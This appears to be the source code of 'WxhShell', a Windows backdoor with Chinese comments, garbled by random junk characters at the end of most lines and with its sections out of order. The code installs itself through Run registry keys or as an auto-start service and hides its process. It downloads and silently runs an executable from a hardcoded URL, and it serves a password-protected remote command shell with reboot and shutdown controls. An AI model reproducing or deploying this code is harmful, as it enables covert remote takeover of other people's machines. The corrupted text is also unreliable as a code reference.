{ &gKDw!al
typedef struct qw1W}+~g
{ #k?. dWZ!
DWORD ExitStatus; .f"1(J8
DWORD PebBaseAddress; @JGFG+J}
DWORD AffinityMask; %uCsCl
DWORD BasePriority; hQ'W7EF
ULONG UniqueProcessId; YmOj.Q&
ULONG InheritedFromUniqueProcessId; ea]qX6)UZ
} PROCESS_BASIC_INFORMATION; %z=:P{0UQ
ka6E s~
PROCNTQSIP NtQueryInformationProcess; %-a;HGbZn
`mA;1S
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2vh }:A_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r)#W`A1{A
@<`V q
HANDLE hProcess; Lq;T\m_de
PROCESS_BASIC_INFORMATION pbi; iD*Hh-
e9HL)=YP
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [$;cjys
if(NULL == hInst ) return 0; 1\~I "$}
@Pf9;7,TV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {*P[dyu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (Ldvx_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
JJmW%%]i
HNCu:$Wr@
if (!NtQueryInformationProcess) return 0; I=:"Fqj'N
dr c-5{M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TW!OE"B
if(!hProcess) return 0; tGU~G&
6Ia HaV+P
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3n)$\aBE
/
g{8
CloseHandle(hProcess); a"Xh
r-go921
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6<T:B[a-
if(hProcess==NULL) return 0; Il Qk W<
;S
\s&. u
HMODULE hMod; /_})7I52
char procName[255]; 0KTO)K
unsigned long cbNeeded; @_?2iN?4Z
/Ry%K4$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )z\#
c BZ,"kp-
CloseHandle(hProcess); Xdx8HB@L
Ar[|M2|
if(strstr(procName,"services")) return 1; // 以服务启动 *hru);OJr
g$^-WmX\m
return 0; // 注册表启动 ~TsRUT
} /#
]eVD
wN58uV '
// 主模块 ox%j_P9@:
int StartWxhshell(LPSTR lpCmdLine) AH :uG#
{ e4,SR(O>
SOCKET wsl; f;Oh"Yt
BOOL val=TRUE; Zp^O1&\SK?
int port=0; v/9DD% An
struct sockaddr_in door; H`'a|Y
w7.,ch
if(wscfg.ws_autoins) Install(); 1Acs0`3
?'Hd0)yZ
port=atoi(lpCmdLine); LWm1j:0
1O<6=oH
if(port<=0) port=wscfg.ws_port; g4b#U\D@)/
IdN3Ea]
WSADATA data; sv?Fx;d
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HE-5e):
k
Ak,JPzT
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kl]MP}wc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h x&"f e
door.sin_family = AF_INET; |T@SlNi]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |=*)a2
door.sin_port = htons(port); bXvO+I<
@fYVlHT%E
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g(9* !g
closesocket(wsl); uxB)dS
return 1; ~abyjM
} X!K> .r_Dg
`(h^z>%
if(listen(wsl,2) == INVALID_SOCKET) { ^)?Wm,{"w
closesocket(wsl); Te
L&6F$
return 1; 1P(=0\P>&
} @B(oq1i@
Wxhshell(wsl); 8T9s:/%
WSACleanup(); Bh'fkW3
@,GL&$Y:W
return 0; \Q(a`6U
Lv]%P.=[G
} "A"YgD#t
7)V"E-6h
// 以NT服务方式启动 'I&0$<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F5RL+rU(h
{ T>'O[=UWh
DWORD status = 0; ,wes*
DWORD specificError = 0xfffffff; \.}T_,I
D$K'Qk
serviceStatus.dwServiceType = SERVICE_WIN32; %L* EB;nK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qvSYrnpn
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $uDgBZA\
serviceStatus.dwWin32ExitCode = 0; p$9Aadi]
serviceStatus.dwServiceSpecificExitCode = 0; / Qd` ?
serviceStatus.dwCheckPoint = 0; U,#x\[3!Jt
serviceStatus.dwWaitHint = 0; lQ`=PFh
:>{!%-1Z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H^*AaA9-
if (hServiceStatusHandle==0) return; A6]X
aF
m..ajYSQ
status = GetLastError(); &{.IUg
if (status!=NO_ERROR) Z8ea)_{#
{ G|f9l?p
serviceStatus.dwCurrentState = SERVICE_STOPPED; cVW7I
serviceStatus.dwCheckPoint = 0; =yZq]g6Q
serviceStatus.dwWaitHint = 0; Zh;wQCDj
serviceStatus.dwWin32ExitCode = status; }W8A1-UF
serviceStatus.dwServiceSpecificExitCode = specificError; B6
(\1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0>Snps3*Z
return; .)b<cH~%
} (cOe*>L;
|Q3d7y
serviceStatus.dwCurrentState = SERVICE_RUNNING; &L$9Ii
serviceStatus.dwCheckPoint = 0; zp;!HP;/=
serviceStatus.dwWaitHint = 0; 1*u]v{JJ(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7Dbm
s(:(
} ]|tg`*l!>
Cjr]l!
// 处理NT服务事件,比如:启动、停止 RbTGAA
VOID WINAPI NTServiceHandler(DWORD fdwControl) @@H_3!B%4v
{ B4RrUA32
switch(fdwControl) P M [_0b
{ ?h&XIM(
case SERVICE_CONTROL_STOP: 5<dg@,\
serviceStatus.dwWin32ExitCode = 0; MSQ^ovph
serviceStatus.dwCurrentState = SERVICE_STOPPED; XqmB%g(
serviceStatus.dwCheckPoint = 0; !vAmjjB
serviceStatus.dwWaitHint = 0; /S"jO[n9b
{ ?I6rW JcQ6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %US&`BT!
} 'c7nh{F
return; o@zxzZWg
case SERVICE_CONTROL_PAUSE: 6]b"n'G
serviceStatus.dwCurrentState = SERVICE_PAUSED; aNEah
break; sh_;98^
case SERVICE_CONTROL_CONTINUE: z;>$["t]6
serviceStatus.dwCurrentState = SERVICE_RUNNING; C*b[J
break; bwXeEA@{
case SERVICE_CONTROL_INTERROGATE: X6G{.Vh"
break; ]qT&6:;-]
}; U<w8jVE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H KrENk
} "iK=
8
q-<DYVG+
// 标准应用程序主函数 4tZ *%!I'
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?Tc#[B
{ :E.a.-
!.,wg'\P
// 获取操作系统版本 Njg$~30
OsIsNt=GetOsVer(); - j3Lgm
GetModuleFileName(NULL,ExeFile,MAX_PATH); a
~v$ bNu
":udo VS!
// 从命令行安装 `xBoNQai
if(strpbrk(lpCmdLine,"iI")) Install(); p3U)J&]c6
Rsfb?${0G
// 下载执行文件 M9W
zsWM
if(wscfg.ws_downexe) { r&E gP
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =%7drBo D
WinExec(wscfg.ws_filenam,SW_HIDE); nXRa_M(z8
} L5FOlzn
>4X2uNbZS
if(!OsIsNt) { |ky40[C
// 如果时win9x,隐藏进程并且设置为注册表启动 ~JXz
HideProc(); 2xLtJR4L
StartWxhshell(lpCmdLine); cb9-~*1
} ?.VKVTX^
else 4[$:KGh3
if(StartFromService()) T o["o!(;z
// 以服务方式启动 }d?;kt
StartServiceCtrlDispatcher(DispatchTable); GJ*IH9YR
else O% T?+1E
// 普通方式启动 " !EnQB=
StartWxhshell(lpCmdLine); M_ukG~/
o0R?vnA=
return 0; !vgY3S0?rq
} ;0 B1P|7zK
_&/`-"3y
Vn^GJ'^
0P5VbDv$r7
===========================================
1c0'i
X,v.1#[
f=l/Fp}4UH
+^Xf:r`
G
bZYayjxZ5i
ZW [&7[4
" &THtQ1D
.#QE*<T)]
#include <stdio.h> @A1f#Ed<
#include <string.h> $t;:"i>
#include <windows.h> 7~XC_Yc1
#include <winsock2.h> s6|'s<x"j
#include <winsvc.h>
:RnUNz
#include <urlmon.h> {6ZSf[Y6B
fY00
#pragma comment (lib, "Ws2_32.lib") 0DicrnH8
#pragma comment (lib, "urlmon.lib") d{7ZO#E
"] V\ Y!
#define MAX_USER 100 // 最大客户端连接数 A2 +%
#define BUF_SOCK 200 // sock buffer l}uZxKuYx
#define KEY_BUFF 255 // 输入 buffer oK\zyNK
h vYRAQR:
#define REBOOT 0 // 重启 H
d|p@$I
#define SHUTDOWN 1 // 关机 a yoC]rE
R2Tt6
#define DEF_PORT 5000 // 监听端口 ^!\1q<@n
#"UO`2~`l
#define REG_LEN 16 // 注册表键长度 wG,"X'1
#define SVC_LEN 80 // NT服务名长度 MR1I"gqE}I
x2B8G;6u
// 从dll定义API `}?;Ow&2CY
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QOXo(S
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3lp'U&3`5
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lm4`O%
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J>A9]%M
+|LM"
// wxhshell配置信息 5C!zEI)
struct WSCFG { }%u#TwZ
int ws_port; // 监听端口 D -tRy~}
char ws_passstr[REG_LEN]; // 口令 X9Ch(nWX
int ws_autoins; // 安装标记, 1=yes 0=no :PT{>r[
char ws_regname[REG_LEN]; // 注册表键名 =>;&M)+q
char ws_svcname[REG_LEN]; // 服务名 &4-;;h\H
char ws_svcdisp[SVC_LEN]; // 服务显示名 8 MO-QO
char ws_svcdesc[SVC_LEN]; // 服务描述信息 +F)-n2Bi
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ./F:]/Mt
int ws_downexe; // 下载执行标记, 1=yes 0=no /2?
CB\
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [on_=N{W[
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V5K/)\#
0>od1/`
}; 'OA*aQ=K
MrR`jXz
// default Wxhshell configuration B.; qvuM~
struct WSCFG wscfg={DEF_PORT, H'k}/<%Q
"xuhuanlingzhe", \n[kzi7
1, VCWW(Y1Fd
"Wxhshell", I<#X#_YP
"Wxhshell", $+Ze"E
"WxhShell Service", Lk !)G'42
"Wrsky Windows CmdShell Service", ov_l)vt
"Please Input Your Password: ", +aOdaNcI
1, %LrOGr
"http://www.wrsky.com/wxhshell.exe", &4:R(]|
"Wxhshell.exe" 3mHzOs\jU
}; lOt7ij(,L
}nlS&gew^
// 消息定义模块 J%CCUl2
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g!XC5*}
char *msg_ws_prompt="\n\r? for help\n\r#>"; INA3^p'w
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F^.A~{&L
char *msg_ws_ext="\n\rExit."; fbh,V%t7
char *msg_ws_end="\n\rQuit."; hW#^H5?
char *msg_ws_boot="\n\rReboot..."; -P}A26qB
char *msg_ws_poff="\n\rShutdown..."; VL*KBJ
char *msg_ws_down="\n\rSave to "; H{Ewj_L
X)KCk2Ax
char *msg_ws_err="\n\rErr!"; 6k
t,q0
char *msg_ws_ok="\n\rOK!"; zFjz%:0
.P1WY
char ExeFile[MAX_PATH]; Yj@Sy
int nUser = 0; ^)-[g
HANDLE handles[MAX_USER]; T`E0_ZU;
int OsIsNt; ,m{R
m0
i% 1UUI(W
SERVICE_STATUS serviceStatus; ^sf,mM~D
SERVICE_STATUS_HANDLE hServiceStatusHandle; !5 }}mf
M{L- V
// 函数声明 s`$}xukT
int Install(void); &3t973=
int Uninstall(void); H7Q$k4\l
int DownloadFile(char *sURL, SOCKET wsh); PuJ3#H
T
int Boot(int flag); %+l95Dv1
void HideProc(void); )k Wxp
int GetOsVer(void);
~z:]rgX
int Wxhshell(SOCKET wsl); q\@Zf}
void TalkWithClient(void *cs); ]VjvG};
int CmdShell(SOCKET sock); `E$vWZq}
int StartFromService(void); \E?3nQM
int StartWxhshell(LPSTR lpCmdLine); nB`|VYmOP1
/0/ouA>+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PZ|I3z
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _^&
q,S
N-K/jY
// 数据结构和表定义 >=0]7k;
SERVICE_TABLE_ENTRY DispatchTable[] = T_D3WHp
{ _Q1p_sdg
{wscfg.ws_svcname, NTServiceMain}, ^4fvV\ne_~
{NULL, NULL} +mWf$+w
}; c -k3<|H`
P*6m~`"5
// 自我安装 !.'D"Me>
int Install(void) xqX3uq
{ A`uHZCwJ5
char svExeFile[MAX_PATH]; r
&.~
{
HKEY key; JN/=x2n.
strcpy(svExeFile,ExeFile); UfX~GC;B
K) }1;
// 如果是win9x系统,修改注册表设为自启动 WAxNQfEe
if(!OsIsNt) { X<,QSTP
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }[akj8U
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #KiJ{w'
RegCloseKey(key); gO8d2?Oh
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BzfR8mD
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BaQyn 6B
RegCloseKey(key); E4% -*n
return 0; 5f7id7SI
} ^t})T*hM0
} 4H6Fq*W{k
} M[`[+5v
else { A&M_ J
`0qjaC
// 如果是NT以上系统,安装为系统服务 A1prYD
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s6~;)(r
if (schSCManager!=0) }? _KZ)
{ 4v`/~a
SC_HANDLE schService = CreateService xS 1|t};
( Odo)h
schSCManager, @*eY~
wscfg.ws_svcname, j1;[6XG
wscfg.ws_svcdisp, ` Tap0V
SERVICE_ALL_ACCESS, tBGLEeL/.
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `TPIc
SERVICE_AUTO_START, U\P4ts
SERVICE_ERROR_NORMAL, K80f_iT5
svExeFile, ,,uhEoH
NULL, ;8^k=8
NULL, H1c8]}
NULL, {g.YGO
NULL, YIRe__7-NU
NULL n}UJ-\$
); lMFo)4&P
if (schService!=0) K? o p3}f?
{ \}Am]Y/ w
CloseServiceHandle(schService); 6-|?ya
CloseServiceHandle(schSCManager); S
a+Y/
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +#eol~j9N
strcat(svExeFile,wscfg.ws_svcname); sMMOZ'bT
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Aars\
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ',R%Q0Q
RegCloseKey(key); |J!mM<*K
return 0; 7n#-3#_mG
} !K(
} 8|zavH#P
CloseServiceHandle(schSCManager); n$C-^3c
} nriSVGi
} OdFF)-K>~
i(|ug_^
return 1; x6,ozun
} >1`4]%
|~5cNm
// 自我卸载 TBt5Nqks-
int Uninstall(void) {
YQS fk
{ r2SZC`Z}-M
HKEY key; (e'8>Pv
RTh=x.
if(!OsIsNt) { O8 .iP+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v's1&%sM
RegDeleteValue(key,wscfg.ws_regname); D;P=\i>9-
RegCloseKey(key); BSMb(EnqX
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Led\S;pl
RegDeleteValue(key,wscfg.ws_regname); )l`Ks
RegCloseKey(key); +A?P 4}
return 0; vSHPN|*
} d3q%[[@
} xmnBG4,f
} <<01@Q <